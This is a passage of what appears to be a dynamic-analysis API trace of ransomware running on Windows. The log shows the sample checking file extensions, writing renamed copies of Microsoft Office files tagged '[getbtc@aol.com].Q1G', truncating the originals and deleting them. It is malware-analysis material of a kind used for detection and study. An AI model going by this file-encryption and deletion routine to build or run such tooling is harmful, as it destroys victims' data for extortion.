[0257.416] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0257.416] lstrlenW (lpString=".rar") returned 4 [0257.416] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0257.416] lstrlenW (lpString=".bz2") returned 4 [0257.416] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0257.416] lstrlenW (lpString=".7z") returned 3 [0257.416] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0257.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL") returned 57 [0257.416] lstrlenW (lpString=".dbf") returned 4 [0257.416] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0257.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL") returned 57 [0257.416] lstrlenW (lpString=".1cd") returned 4 [0257.416] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0257.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL") returned 57 [0257.416] lstrlenW (lpString=".jpg") returned 4 [0257.416] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0257.416] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0257.416] lstrlenW (lpString="XLSLICER.DLL") returned 12 [0257.416] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlslicer.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0 [0257.468] GetFileSizeEx (in: hFile=0x3f0, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=177536) returned 1 [0257.468] CloseHandle (hObject=0x3f0) returned 1 [0257.468] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlslicer.dll")) returned 0x20 [0257.474] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlslicer.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0257.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlslicer.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL") returned 60 [0257.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL") returned 60 [0257.480] lstrlenW (lpString=".doc") returned 4 [0257.480] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0257.480] lstrlenW (lpString=".docx") returned 5 [0257.480] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0257.480] lstrlenW (lpString=".pdf") returned 4 [0257.480] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0257.480] lstrlenW (lpString=".xls") returned 4 [0257.480] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0257.480] lstrlenW (lpString=".xlsx") returned 5 [0257.481] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0257.481] lstrlenW (lpString=".ppt") returned 4 [0257.481] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0257.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL") returned 60 [0257.481] lstrlenW (lpString=".zip") returned 4 [0257.481] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0257.481] lstrlenW (lpString=".rar") returned 4 [0257.481] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0257.481] lstrlenW (lpString=".bz2") returned 4 [0257.481] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0257.481] lstrlenW (lpString=".7z") returned 3 [0257.481] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0257.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL") returned 60 [0257.481] lstrlenW (lpString=".dbf") returned 4 [0257.481] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0257.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL") returned 60 [0257.481] lstrlenW (lpString=".1cd") returned 4 [0257.481] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0257.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL") returned 60 [0257.481] lstrlenW (lpString=".jpg") returned 4 [0257.481] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0257.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL") returned 60 [0257.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL") returned 60 [0257.481] lstrlenW (lpString=".doc") returned 4 [0257.481] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0257.481] lstrlenW (lpString=".docx") returned 5 [0257.481] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0257.481] lstrlenW (lpString=".pdf") returned 4 [0257.481] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0257.481] lstrlenW (lpString=".xls") returned 4 [0257.481] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0257.481] lstrlenW (lpString=".xlsx") returned 5 [0257.481] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0257.481] lstrlenW (lpString=".ppt") returned 4 [0257.481] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0257.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL") returned 60 [0257.482] lstrlenW (lpString=".zip") returned 4 [0257.482] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0257.482] lstrlenW (lpString=".rar") returned 4 [0257.482] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0257.482] lstrlenW (lpString=".bz2") returned 4 [0257.482] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0257.482] lstrlenW (lpString=".7z") returned 3 [0257.482] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0257.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL") returned 60 [0257.482] lstrlenW (lpString=".dbf") returned 4 [0257.482] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0257.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL") returned 60 [0257.482] lstrlenW (lpString=".1cd") returned 4 [0257.482] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0257.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL") returned 60 [0257.482] lstrlenW (lpString=".jpg") returned 4 [0257.482] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0257.482] lstrcmpiW (lpString1=".ACL", lpString2=".Q1G") returned -1 [0257.482] lstrlenW (lpString="MSO.ACL") returned 7 [0257.482] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\office14\\1036\\mso.acl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0257.502] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=43558) returned 1 [0257.502] CloseHandle (hObject=0x388) returned 1 [0257.503] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\office14\\1036\\mso.acl")) returned 0x20 [0257.503] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1036\\mso.acl.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0257.519] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\office14\\1036\\mso.acl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0257.533] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.533] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.533] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1036\\mso.acl.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0257.647] GetLastError () returned 0x0 [0257.647] ReadFile (in: hFile=0x3c8, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0xaa26, lpOverlapped=0x0) returned 1 [0257.688] WriteFile (in: hFile=0x3dc, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xaa30, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xaa30, lpOverlapped=0x0) returned 1 [0257.689] ReadFile (in: hFile=0x3c8, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0257.689] WriteFile (in: hFile=0x3dc, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xe2, lpOverlapped=0x0) returned 1 [0257.689] SetEndOfFile (hFile=0x3dc) returned 1 [0257.689] CloseHandle (hObject=0x3dc) returned 1 [0257.689] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.689] SetEndOfFile (hFile=0x3c8) returned 1 [0257.706] CloseHandle (hObject=0x3c8) returned 1 [0257.706] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0257.707] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\office14\\1036\\mso.acl")) returned 1 [0257.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL") returned 55 [0257.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL") returned 55 [0257.732] lstrlenW (lpString=".doc") returned 4 [0257.732] lstrcmpiW (lpString1=".doc", lpString2=".ACL") returned 1 [0257.732] lstrlenW (lpString=".docx") returned 5 [0257.732] lstrcmpiW (lpString1=".docx", lpString2="O.ACL") returned -1 [0257.732] lstrlenW (lpString=".pdf") returned 4 [0257.732] lstrcmpiW (lpString1=".pdf", lpString2=".ACL") returned 1 [0257.732] lstrlenW (lpString=".xls") returned 4 [0257.733] lstrcmpiW (lpString1=".xls", lpString2=".ACL") returned 1 [0257.733] lstrlenW (lpString=".xlsx") returned 5 [0257.733] lstrcmpiW (lpString1=".xlsx", lpString2="O.ACL") returned -1 [0257.733] lstrlenW (lpString=".ppt") returned 4 [0257.733] lstrcmpiW (lpString1=".ppt", lpString2=".ACL") returned 1 [0257.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL") returned 55 [0257.733] lstrlenW (lpString=".zip") returned 4 [0257.733] lstrcmpiW (lpString1=".zip", lpString2=".ACL") returned 1 [0257.733] lstrlenW (lpString=".rar") returned 4 [0257.733] lstrcmpiW (lpString1=".rar", lpString2=".ACL") returned 1 [0257.733] lstrlenW (lpString=".bz2") returned 4 [0257.733] lstrcmpiW (lpString1=".bz2", lpString2=".ACL") returned 1 [0257.733] lstrlenW (lpString=".7z") returned 3 [0257.733] lstrcmpiW (lpString1=".7z", lpString2="ACL") returned -1 [0257.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL") returned 55 [0257.733] lstrlenW (lpString=".dbf") returned 4 [0257.733] lstrcmpiW (lpString1=".dbf", lpString2=".ACL") returned 1 [0257.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL") returned 55 [0257.733] lstrlenW (lpString=".1cd") returned 4 [0257.733] lstrcmpiW (lpString1=".1cd", lpString2=".ACL") returned -1 [0257.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL") returned 55 [0257.733] lstrlenW (lpString=".jpg") returned 4 [0257.733] lstrcmpiW (lpString1=".jpg", lpString2=".ACL") returned 1 [0257.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL") returned 55 [0257.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL") returned 55 [0257.733] lstrlenW (lpString=".doc") returned 4 [0257.733] lstrcmpiW (lpString1=".doc", lpString2=".ACL") returned 1 [0257.733] lstrlenW (lpString=".docx") returned 5 [0257.733] lstrcmpiW (lpString1=".docx", lpString2="O.ACL") returned -1 [0257.733] lstrlenW (lpString=".pdf") returned 4 [0257.734] lstrcmpiW (lpString1=".pdf", lpString2=".ACL") returned 1 [0257.734] lstrlenW (lpString=".xls") returned 4 [0257.734] lstrcmpiW (lpString1=".xls", lpString2=".ACL") returned 1 [0257.734] lstrlenW (lpString=".xlsx") returned 5 [0257.734] lstrcmpiW (lpString1=".xlsx", lpString2="O.ACL") returned -1 [0257.734] lstrlenW (lpString=".ppt") returned 4 [0257.734] lstrcmpiW (lpString1=".ppt", lpString2=".ACL") returned 1 [0257.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL") returned 55 [0257.734] lstrlenW (lpString=".zip") returned 4 [0257.734] lstrcmpiW (lpString1=".zip", lpString2=".ACL") returned 1 [0257.734] lstrlenW (lpString=".rar") returned 4 [0257.734] lstrcmpiW (lpString1=".rar", lpString2=".ACL") returned 1 [0257.734] lstrlenW (lpString=".bz2") returned 4 [0257.734] lstrcmpiW (lpString1=".bz2", lpString2=".ACL") returned 1 [0257.734] lstrlenW (lpString=".7z") returned 3 [0257.734] lstrcmpiW (lpString1=".7z", lpString2="ACL") returned -1 [0257.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL") returned 55 [0257.734] lstrlenW (lpString=".dbf") returned 4 [0257.734] lstrcmpiW (lpString1=".dbf", lpString2=".ACL") returned 1 [0257.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL") returned 55 [0257.734] lstrlenW (lpString=".1cd") returned 4 [0257.734] lstrcmpiW (lpString1=".1cd", lpString2=".ACL") returned -1 [0257.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL") returned 55 [0257.734] lstrlenW (lpString=".jpg") returned 4 [0257.734] lstrcmpiW (lpString1=".jpg", lpString2=".ACL") returned 1 [0257.734] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0257.734] lstrlenW (lpString="MSOSEC.DLL") returned 10 [0257.734] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\msosec.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0257.796] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=7168) returned 1 [0257.796] CloseHandle (hObject=0x3dc) returned 1 [0257.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\msosec.dll")) returned 0x20 [0257.866] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\msosec.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0257.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\msosec.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL") returned 60 [0257.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL") returned 60 [0257.915] lstrlenW (lpString=".doc") returned 4 [0257.915] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0257.915] lstrlenW (lpString=".docx") returned 5 [0257.915] lstrcmpiW (lpString1=".docx", lpString2="C.DLL") returned -1 [0257.915] lstrlenW (lpString=".pdf") returned 4 [0257.915] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0257.915] lstrlenW (lpString=".xls") returned 4 [0257.915] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0257.915] lstrlenW (lpString=".xlsx") returned 5 [0257.915] lstrcmpiW (lpString1=".xlsx", lpString2="C.DLL") returned -1 [0257.915] lstrlenW (lpString=".ppt") returned 4 [0257.915] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0257.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL") returned 60 [0257.915] lstrlenW (lpString=".zip") returned 4 [0257.915] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0257.915] lstrlenW (lpString=".rar") returned 4 [0257.915] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0257.915] lstrlenW (lpString=".bz2") returned 4 [0257.915] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0257.915] lstrlenW (lpString=".7z") returned 3 [0257.915] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0257.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL") returned 60 [0257.915] lstrlenW (lpString=".dbf") returned 4 [0257.915] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0257.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL") returned 60 [0257.915] lstrlenW (lpString=".1cd") returned 4 [0257.915] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0257.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL") returned 60 [0257.915] lstrlenW (lpString=".jpg") returned 4 [0257.915] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0257.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL") returned 60 [0257.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL") returned 60 [0257.916] lstrlenW (lpString=".doc") returned 4 [0257.916] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0257.916] lstrlenW (lpString=".docx") returned 5 [0257.916] lstrcmpiW (lpString1=".docx", lpString2="C.DLL") returned -1 [0257.916] lstrlenW (lpString=".pdf") returned 4 [0257.916] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0257.916] lstrlenW (lpString=".xls") returned 4 [0257.916] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0257.916] lstrlenW (lpString=".xlsx") returned 5 [0257.916] lstrcmpiW (lpString1=".xlsx", lpString2="C.DLL") returned -1 [0257.916] lstrlenW (lpString=".ppt") returned 4 [0257.916] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0257.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL") returned 60 [0257.916] lstrlenW (lpString=".zip") returned 4 [0257.916] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0257.916] lstrlenW (lpString=".rar") returned 4 [0257.916] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0257.916] lstrlenW (lpString=".bz2") returned 4 [0257.916] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0257.916] lstrlenW (lpString=".7z") returned 3 [0257.916] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0257.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL") returned 60 [0257.916] lstrlenW (lpString=".dbf") returned 4 [0257.916] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0257.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL") returned 60 [0257.916] lstrlenW (lpString=".1cd") returned 4 [0257.916] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0257.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL") returned 60 [0257.916] lstrlenW (lpString=".jpg") returned 4 [0257.916] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0257.917] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0257.917] lstrlenW (lpString="AUDIOSEARCHMAIN.DLL") returned 19 [0257.917] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHMAIN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchmain.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0257.917] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=1667960) returned 1 [0257.917] CloseHandle (hObject=0x3d8) returned 1 [0257.917] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHMAIN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchmain.dll")) returned 0x20 [0257.917] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHMAIN.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchmain.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0257.917] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHMAIN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchmain.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHMAIN.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchmain.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0257.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHMAIN.DLL") returned 62 [0257.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHMAIN.DLL") returned 62 [0257.918] lstrlenW (lpString=".doc") returned 4 [0257.918] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0257.918] lstrlenW (lpString=".docx") returned 5 [0257.918] lstrcmpiW (lpString1=".docx", lpString2="N.DLL") returned -1 [0257.918] lstrlenW (lpString=".pdf") returned 4 [0257.918] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0257.918] lstrlenW (lpString=".xls") returned 4 [0257.918] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0257.918] lstrlenW (lpString=".xlsx") returned 5 [0257.918] lstrcmpiW (lpString1=".xlsx", lpString2="N.DLL") returned -1 [0257.918] lstrlenW (lpString=".ppt") returned 4 [0257.918] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0257.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHMAIN.DLL") returned 62 [0257.918] lstrlenW (lpString=".zip") returned 4 [0257.918] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0257.918] lstrlenW (lpString=".rar") returned 4 [0257.918] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0257.918] lstrlenW (lpString=".bz2") returned 4 [0257.918] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0257.918] lstrlenW (lpString=".7z") returned 3 [0257.918] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0257.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHMAIN.DLL") returned 62 [0257.918] lstrlenW (lpString=".dbf") returned 4 [0257.918] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0257.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHMAIN.DLL") returned 62 [0257.918] lstrlenW (lpString=".1cd") returned 4 [0257.918] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0257.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHMAIN.DLL") returned 62 [0257.918] lstrlenW (lpString=".jpg") returned 4 [0257.918] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0257.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHMAIN.DLL") returned 62 [0257.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHMAIN.DLL") returned 62 [0257.919] lstrlenW (lpString=".doc") returned 4 [0257.919] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0257.919] lstrlenW (lpString=".docx") returned 5 [0257.919] lstrcmpiW (lpString1=".docx", lpString2="N.DLL") returned -1 [0257.919] lstrlenW (lpString=".pdf") returned 4 [0257.919] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0257.919] lstrlenW (lpString=".xls") returned 4 [0257.919] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0257.919] lstrlenW (lpString=".xlsx") returned 5 [0257.919] lstrcmpiW (lpString1=".xlsx", lpString2="N.DLL") returned -1 [0257.919] lstrlenW (lpString=".ppt") returned 4 [0257.919] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0257.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHMAIN.DLL") returned 62 [0257.919] lstrlenW (lpString=".zip") returned 4 [0257.919] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0257.919] lstrlenW (lpString=".rar") returned 4 [0257.919] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0257.919] lstrlenW (lpString=".bz2") returned 4 [0257.919] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0257.919] lstrlenW (lpString=".7z") returned 3 [0257.919] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0257.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHMAIN.DLL") returned 62 [0257.919] lstrlenW (lpString=".dbf") returned 4 [0257.919] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0257.919] lstrlenW 